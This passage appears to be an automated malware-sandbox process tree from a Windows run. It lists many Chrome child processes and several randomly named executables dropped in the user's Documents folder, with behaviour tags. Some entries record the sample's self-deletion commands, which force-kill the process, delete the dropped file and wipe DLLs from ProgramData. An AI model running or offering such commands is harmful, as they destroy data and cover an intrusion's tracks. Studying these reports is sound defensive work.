                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3424 /prefetch:8
                                                                                                                            9⤵
                                                                                                                              PID:2220
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5664 /prefetch:8
                                                                                                                              9⤵
                                                                                                                                PID:3276
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3476 /prefetch:8
                                                                                                                                9⤵
                                                                                                                                  PID:5760
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3364 /prefetch:8
                                                                                                                                  9⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • Checks processor information in registry
                                                                                                                                  PID:5680
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3672 /prefetch:8
                                                                                                                                  9⤵
                                                                                                                                    PID:3368
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3704 /prefetch:8
                                                                                                                                    9⤵
                                                                                                                                      PID:5316
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5856 /prefetch:8
                                                                                                                                      9⤵
                                                                                                                                        PID:1296
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3512 /prefetch:8
                                                                                                                                        9⤵
                                                                                                                                          PID:4724
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6856 /prefetch:8
                                                                                                                                          9⤵
                                                                                                                                            PID:4704
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6996 /prefetch:8
                                                                                                                                            9⤵
                                                                                                                                              PID:5172
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7008 /prefetch:8
                                                                                                                                              9⤵
                                                                                                                                                PID:3676
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=960 /prefetch:8
                                                                                                                                                9⤵
                                                                                                                                                  PID:5372
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2064 /prefetch:8
                                                                                                                                                  9⤵
                                                                                                                                                    PID:5300
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7004 /prefetch:8
                                                                                                                                                    9⤵
                                                                                                                                                      PID:5500
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7592 /prefetch:8
                                                                                                                                                      9⤵
                                                                                                                                                        PID:5116
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7820 /prefetch:8
                                                                                                                                                        9⤵
                                                                                                                                                          PID:5244
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7928 /prefetch:8
                                                                                                                                                          9⤵
                                                                                                                                                            PID:4600
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7964 /prefetch:8
                                                                                                                                                            9⤵
                                                                                                                                                              PID:4736
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6676 /prefetch:8
                                                                                                                                                              9⤵
                                                                                                                                                                PID:5468
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8208 /prefetch:8
                                                                                                                                                                9⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                PID:4316
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8324 /prefetch:8
                                                                                                                                                                9⤵
                                                                                                                                                                  PID:5352
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8496 /prefetch:8
                                                                                                                                                                  9⤵
                                                                                                                                                                    PID:4792
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8652 /prefetch:8
                                                                                                                                                                    9⤵
                                                                                                                                                                      PID:1440
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8756 /prefetch:8
                                                                                                                                                                      9⤵
                                                                                                                                                                        PID:5548
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8896 /prefetch:8
                                                                                                                                                                        9⤵
                                                                                                                                                                          PID:1216
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1348 /prefetch:1
                                                                                                                                                                          9⤵
                                                                                                                                                                            PID:4796
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8692 /prefetch:1
                                                                                                                                                                            9⤵
                                                                                                                                                                              PID:5288
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8072 /prefetch:1
                                                                                                                                                                              9⤵
                                                                                                                                                                                PID:856
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8160 /prefetch:8
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:1500
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1420 /prefetch:2
                                                                                                                                                                                  9⤵
                                                                                                                                                                                    PID:3832
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1476 /prefetch:8
                                                                                                                                                                                    9⤵
                                                                                                                                                                                      PID:5000
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4700 /prefetch:8
                                                                                                                                                                                      9⤵
                                                                                                                                                                                        PID:5864
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8744 /prefetch:8
                                                                                                                                                                                        9⤵
                                                                                                                                                                                          PID:2216
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5912 /prefetch:8
                                                                                                                                                                                          9⤵
                                                                                                                                                                                            PID:2816
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5704 /prefetch:8
                                                                                                                                                                                            9⤵
                                                                                                                                                                                              PID:5324
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4928 /prefetch:8
                                                                                                                                                                                              9⤵
                                                                                                                                                                                                PID:6056
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=852 /prefetch:8
                                                                                                                                                                                                9⤵
                                                                                                                                                                                                  PID:5500
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7948 /prefetch:8
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                    PID:4480
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8928 /prefetch:8
                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                      PID:312
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\92.267.200\software_reporter_tool.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\92.267.200\software_reporter_tool.exe" --engine=2 --scan-locations=1,2,3,4,5,6,7,8,10 --disabled-locations=9,11 --session-id=8VDHcHjzE9JFttrFqN7lrZkq8xePNML4Yrvwg6d2 --registry-suffix=ESET --srt-field-trial-group-name=Off
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:5372
                                                                                                                                                                                                      • \??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\92.267.200\software_reporter_tool.exe
                                                                                                                                                                                                        "c:\users\admin\appdata\local\google\chrome\user data\swreporter\92.267.200\software_reporter_tool.exe" --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=92.267.200 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff7cbf562b0,0x7ff7cbf562c0,0x7ff7cbf562d0
                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4644
                                                                                                                                                                                                      • \??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\92.267.200\software_reporter_tool.exe
                                                                                                                                                                                                        "c:\users\admin\appdata\local\google\chrome\user data\swreporter\92.267.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_5372_EMAVHRISKHQZHLFM" --sandboxed-process-id=2 --init-done-notifier=716 --sandbox-mojo-pipe-token=7369163048436006170 --mojo-platform-channel-handle=684 --engine=2
                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4372
                                                                                                                                                                                                      • \??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\92.267.200\software_reporter_tool.exe
                                                                                                                                                                                                        "c:\users\admin\appdata\local\google\chrome\user data\swreporter\92.267.200\software_reporter_tool.exe" --use-crash-handler-with-id="\\.\pipe\crashpad_5372_EMAVHRISKHQZHLFM" --sandboxed-process-id=3 --init-done-notifier=916 --sandbox-mojo-pipe-token=5865550017647154312 --mojo-platform-channel-handle=912
                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4316
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6668 /prefetch:8
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                        PID:3552
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8200 /prefetch:8
                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                          PID:5924
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8056 /prefetch:8
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                            PID:5880
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2056 /prefetch:8
                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                              PID:3832
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3860 /prefetch:8
                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                PID:6036
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2160 /prefetch:8
                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                  PID:1872
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1424,13498306007977118995,16225381365009387393,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3788 /prefetch:8
                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                    PID:1728
                                                                                                                                                                                                            • C:\Users\Admin\Documents\4QnwysjPmfoWXehJgIaebweR.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\4QnwysjPmfoWXehJgIaebweR.exe"
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:4144
                                                                                                                                                                                                              • C:\Users\Admin\Documents\o74F494em9F_Pi_OpJoMBPWW.exe
                                                                                                                                                                                                                "C:\Users\Admin\Documents\o74F494em9F_Pi_OpJoMBPWW.exe"
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                PID:4516
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 660
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:2420
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 672
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:4512
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 724
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                  PID:1708
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 704
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:2244
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 1080
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  PID:3640
                                                                                                                                                                                                              • C:\Users\Admin\Documents\J2CuGaHjLkCK785KDCZCc_fi.exe
                                                                                                                                                                                                                "C:\Users\Admin\Documents\J2CuGaHjLkCK785KDCZCc_fi.exe"
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                PID:4440
                                                                                                                                                                                                                • C:\Users\Admin\Documents\J2CuGaHjLkCK785KDCZCc_fi.exe
                                                                                                                                                                                                                  "C:\Users\Admin\Documents\J2CuGaHjLkCK785KDCZCc_fi.exe"
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                  PID:4280
                                                                                                                                                                                                              • C:\Users\Admin\Documents\7jkSWJ3azkeED4KX8JL93MjQ.exe
                                                                                                                                                                                                                "C:\Users\Admin\Documents\7jkSWJ3azkeED4KX8JL93MjQ.exe"
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4316
                                                                                                                                                                                                                  • C:\Users\Admin\Documents\7jkSWJ3azkeED4KX8JL93MjQ.exe
                                                                                                                                                                                                                    "{path}"
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                      PID:5680
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im 7jkSWJ3azkeED4KX8JL93MjQ.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\7jkSWJ3azkeED4KX8JL93MjQ.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                          PID:3088
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /im 7jkSWJ3azkeED4KX8JL93MjQ.exe /f
                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:4280
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                            timeout /t 6
                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                            PID:5876
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\AziVkC6_FKHp1S79BrS6totX.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\AziVkC6_FKHp1S79BrS6totX.exe"
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                      PID:4388
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im AziVkC6_FKHp1S79BrS6totX.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\AziVkC6_FKHp1S79BrS6totX.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                          PID:5500
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /im AziVkC6_FKHp1S79BrS6totX.exe /f
                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:4168
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                            timeout /t 6
                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                            PID:5476
                                                                                                                                                                                                                      • C:\Users\Admin\Documents\PKmncNr3HdeofFauZSV87iPJ.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Documents\PKmncNr3HdeofFauZSV87iPJ.exe"
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        PID:4352
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 660
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:5112
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 672
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                          PID:3280
